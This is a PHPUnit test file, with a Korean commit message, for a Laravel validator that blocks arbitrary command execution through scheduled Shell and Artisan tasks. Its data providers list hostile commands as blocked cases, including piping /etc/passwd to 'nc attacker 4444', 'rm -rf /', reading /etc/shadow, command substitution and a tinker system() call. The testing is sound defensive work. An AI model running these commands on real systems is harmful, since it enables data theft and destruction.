미출시 예약 작업 기능에서 스케줄 권한만 위임받은 계정이 Shell/Artisan 명령으로 임의 코드를 실행할 수 있던 문제를 선제적으로 차단(KVE-2026-1567). Shell 은 기본 차단 + 실행 파일 화이트리스트 + 셸 미경유 인자배열 실행, Artisan 은 차단목록. 저장 시점(FormRequest)과 실행 시점(Service) 이중 검증. 아울러 공개 release 보다 앞선 미출시 버전들의 CHANGELOG 출시 날짜를 2026-07-14 로 통일.
279 lines
10 KiB
PHP
279 lines
10 KiB
PHP
<?php
|
|
|
|
namespace Tests\Unit\Support;
|
|
|
|
use App\Support\ScheduleCommandValidator;
|
|
use PHPUnit\Framework\Attributes\DataProvider;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
/**
|
|
* 스케줄 Shell/Artisan command 검증 유틸 테스트.
|
|
*
|
|
* 스케줄 생성 권한만 위임받은 계정이 임의 OS 명령·임의 PHP 코드를 실행하는 경로를
|
|
* 전수 매트릭스로 차단 검증한다 (셸 메타문자 주입, 화이트리스트 우회, 차단목록 우회).
|
|
*/
|
|
class ScheduleCommandValidatorTest extends TestCase
|
|
{
|
|
/**
|
|
* shell 게이트를 켜고 허용 실행 파일을 등록합니다.
|
|
*
|
|
* @param array<int, string> $binaries 허용 실행 파일 basename 목록
|
|
*/
|
|
private function enableShell(array $binaries = ['backup.sh']): void
|
|
{
|
|
config([
|
|
'schedule_security.shell.enabled' => true,
|
|
'schedule_security.shell.allowed_binaries' => $binaries,
|
|
]);
|
|
}
|
|
|
|
// ========================================================================
|
|
// Shell — 게이트
|
|
// ========================================================================
|
|
|
|
/**
|
|
* 게이트가 꺼져 있으면 화이트리스트에 있는 명령도 거부한다 (기본 차단).
|
|
*/
|
|
#[Test]
|
|
public function it_blocks_every_shell_command_when_the_gate_is_disabled(): void
|
|
{
|
|
config([
|
|
'schedule_security.shell.enabled' => false,
|
|
'schedule_security.shell.allowed_binaries' => ['backup.sh'],
|
|
]);
|
|
|
|
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
|
|
}
|
|
|
|
/**
|
|
* 게이트가 켜져 있어도 화이트리스트가 비어 있으면 모두 거부한다.
|
|
*/
|
|
#[Test]
|
|
public function it_blocks_every_shell_command_when_the_whitelist_is_empty(): void
|
|
{
|
|
$this->enableShell([]);
|
|
|
|
$this->assertFalse(ScheduleCommandValidator::isShellCommandAllowed('backup.sh'));
|
|
}
|
|
|
|
// ========================================================================
|
|
// Shell — 화이트리스트
|
|
// ========================================================================
|
|
|
|
/**
|
|
* 게이트 on + 화이트리스트 등록 실행 파일은 허용한다 (정상 운영 경로).
|
|
*
|
|
* @param string $command 허용되어야 하는 command
|
|
*/
|
|
#[Test]
|
|
#[DataProvider('allowedShellCommandProvider')]
|
|
public function it_allows_whitelisted_shell_binaries(string $command): void
|
|
{
|
|
$this->enableShell(['backup.sh']);
|
|
|
|
$this->assertTrue(
|
|
ScheduleCommandValidator::isShellCommandAllowed($command),
|
|
"허용되어야 하는 명령이 차단됨: {$command}"
|
|
);
|
|
}
|
|
|
|
/**
|
|
* 화이트리스트에 없는 실행 파일은 거부한다.
|
|
*
|
|
* @param string $command 차단되어야 하는 command
|
|
* @param string $reason 차단 사유 (실패 메시지용)
|
|
*/
|
|
#[Test]
|
|
#[DataProvider('blockedShellCommandProvider')]
|
|
public function it_blocks_shell_commands_outside_the_whitelist(string $command, string $reason): void
|
|
{
|
|
$this->enableShell(['backup.sh']);
|
|
|
|
$this->assertFalse(
|
|
ScheduleCommandValidator::isShellCommandAllowed($command),
|
|
"차단되어야 하는 명령이 통과함 ({$reason}): {$command}"
|
|
);
|
|
}
|
|
|
|
// ========================================================================
|
|
// Shell — 토큰화 (셸 미경유 실행 가능 여부)
|
|
// ========================================================================
|
|
|
|
/**
|
|
* 셸 메타문자가 섞인 명령은 토큰화를 거부한다 (인자배열 실행 불가 → 실행 차단).
|
|
*
|
|
* @param string $command 메타문자가 포함된 command
|
|
* @param string $reason 차단 사유 (실패 메시지용)
|
|
*/
|
|
#[Test]
|
|
#[DataProvider('shellMetacharacterCommandProvider')]
|
|
public function it_refuses_to_tokenize_commands_containing_shell_metacharacters(string $command, string $reason): void
|
|
{
|
|
$this->assertNull(
|
|
ScheduleCommandValidator::tokenizeShellCommand($command),
|
|
"토큰화가 거부되어야 하는 명령이 통과함 ({$reason}): {$command}"
|
|
);
|
|
}
|
|
|
|
/**
|
|
* 메타문자 없는 명령은 공백 기준 인자 배열로 토큰화한다.
|
|
*/
|
|
#[Test]
|
|
public function it_tokenizes_a_plain_command_into_an_argument_array(): void
|
|
{
|
|
$this->assertSame(
|
|
['backup.sh', '--full', '/var/data'],
|
|
ScheduleCommandValidator::tokenizeShellCommand('backup.sh --full /var/data')
|
|
);
|
|
}
|
|
|
|
/**
|
|
* 빈 문자열·공백만 있는 명령은 토큰화를 거부한다.
|
|
*/
|
|
#[Test]
|
|
public function it_refuses_to_tokenize_a_blank_command(): void
|
|
{
|
|
$this->assertNull(ScheduleCommandValidator::tokenizeShellCommand(' '));
|
|
}
|
|
|
|
// ========================================================================
|
|
// Artisan — 차단목록
|
|
// ========================================================================
|
|
|
|
/**
|
|
* 차단목록에 오른 artisan 명령은 거부한다 (코드 실행형·파괴적 명령).
|
|
*
|
|
* @param string $command 차단되어야 하는 command
|
|
*/
|
|
#[Test]
|
|
#[DataProvider('deniedArtisanCommandProvider')]
|
|
public function it_blocks_denylisted_artisan_commands(string $command): void
|
|
{
|
|
$this->assertFalse(
|
|
ScheduleCommandValidator::isArtisanCommandAllowed($command),
|
|
"차단되어야 하는 artisan 명령이 통과함: {$command}"
|
|
);
|
|
}
|
|
|
|
/**
|
|
* 차단목록에 없는 artisan 명령은 허용한다 (기본 허용).
|
|
*
|
|
* @param string $command 허용되어야 하는 command
|
|
*/
|
|
#[Test]
|
|
#[DataProvider('allowedArtisanCommandProvider')]
|
|
public function it_allows_artisan_commands_that_are_not_denylisted(string $command): void
|
|
{
|
|
$this->assertTrue(
|
|
ScheduleCommandValidator::isArtisanCommandAllowed($command),
|
|
"허용되어야 하는 artisan 명령이 차단됨: {$command}"
|
|
);
|
|
}
|
|
|
|
/**
|
|
* artisan 명령명은 첫 토큰으로 추출한다.
|
|
*/
|
|
#[Test]
|
|
public function it_extracts_the_artisan_command_name_from_the_first_token(): void
|
|
{
|
|
$this->assertSame('cache:clear', ScheduleCommandValidator::extractArtisanCommandName(' cache:clear --force '));
|
|
$this->assertNull(ScheduleCommandValidator::extractArtisanCommandName(' '));
|
|
}
|
|
|
|
// ========================================================================
|
|
// Data Providers
|
|
// ========================================================================
|
|
|
|
/**
|
|
* 허용되어야 하는 shell command 목록.
|
|
*
|
|
* @return array<string, array{string}>
|
|
*/
|
|
public static function allowedShellCommandProvider(): array
|
|
{
|
|
return [
|
|
'실행 파일 단독' => ['backup.sh'],
|
|
'인자 포함' => ['backup.sh --full /var/data'],
|
|
'절대경로 (basename 일치)' => ['/usr/local/bin/backup.sh --full'],
|
|
'앞뒤 공백' => [' backup.sh '],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* 차단되어야 하는 shell command 목록.
|
|
*
|
|
* @return array<string, array{string, string}>
|
|
*/
|
|
public static function blockedShellCommandProvider(): array
|
|
{
|
|
return [
|
|
'화이트리스트 외 명령' => ['id', '보고서 주 시나리오 — 임의 명령 실행'],
|
|
'화이트리스트 외 절대경로' => ['/bin/sh', '셸 자체 실행'],
|
|
'접두사 확장 우회' => ['backup.sh.evil', 'basename 완전 일치가 아님'],
|
|
'접미사 확장 우회' => ['evil-backup.sh', 'basename 완전 일치가 아님'],
|
|
'체이닝으로 화이트리스트 위장' => ['backup.sh; id', '메타문자 — 토큰화 거부'],
|
|
'파이프로 화이트리스트 위장' => ['backup.sh | nc attacker 4444', '메타문자 — 토큰화 거부'],
|
|
'명령치환으로 화이트리스트 위장' => ['backup.sh $(id)', '메타문자 — 토큰화 거부'],
|
|
'빈 명령' => ['', '빈 문자열'],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* 셸 해석을 유발하는 메타문자가 포함된 command 목록.
|
|
*
|
|
* @return array<string, array{string, string}>
|
|
*/
|
|
public static function shellMetacharacterCommandProvider(): array
|
|
{
|
|
return [
|
|
'세미콜론 체이닝' => ['backup.sh; rm -rf /', '세미콜론'],
|
|
'파이프' => ['cat /etc/passwd | nc attacker 4444', '파이프'],
|
|
'백그라운드 실행' => ['backup.sh & id', '앰퍼샌드'],
|
|
'명령치환 $()' => ['echo $(id)', '달러 + 괄호'],
|
|
'명령치환 백틱' => ['echo `id`', '백틱'],
|
|
'출력 리다이렉션' => ['backup.sh > /etc/crontab', '리다이렉션'],
|
|
'입력 리다이렉션' => ['backup.sh < /etc/shadow', '리다이렉션'],
|
|
'와일드카드' => ['rm -rf /var/*', '글롭'],
|
|
'따옴표' => ['backup.sh "a b"', '따옴표 — 순진한 토큰화 불가'],
|
|
'개행 주입' => ["backup.sh\nid", '개행'],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* 차단되어야 하는 artisan command 목록.
|
|
*
|
|
* @return array<string, array{string}>
|
|
*/
|
|
public static function deniedArtisanCommandProvider(): array
|
|
{
|
|
return [
|
|
'tinker — 임의 PHP 실행' => ['tinker --execute=system("id");'],
|
|
'tinker 단독' => ['tinker'],
|
|
'대소문자 우회' => ['TINKER --execute=1'],
|
|
'db:wipe — 파괴적' => ['db:wipe'],
|
|
'migrate:fresh — 파괴적' => ['migrate:fresh --seed'],
|
|
'migrate:reset' => ['migrate:reset'],
|
|
'migrate:rollback' => ['migrate:rollback'],
|
|
'key:generate' => ['key:generate'],
|
|
'env:decrypt' => ['env:decrypt'],
|
|
'schedule:run' => ['schedule:run'],
|
|
'빈 명령' => [''],
|
|
];
|
|
}
|
|
|
|
/**
|
|
* 허용되어야 하는 artisan command 목록 (정상 운영 명령).
|
|
*
|
|
* @return array<string, array{string}>
|
|
*/
|
|
public static function allowedArtisanCommandProvider(): array
|
|
{
|
|
return [
|
|
'cache:clear' => ['cache:clear'],
|
|
'인자 포함' => ['queue:work --stop-when-empty'],
|
|
'inspire' => ['inspire'],
|
|
];
|
|
}
|
|
}
|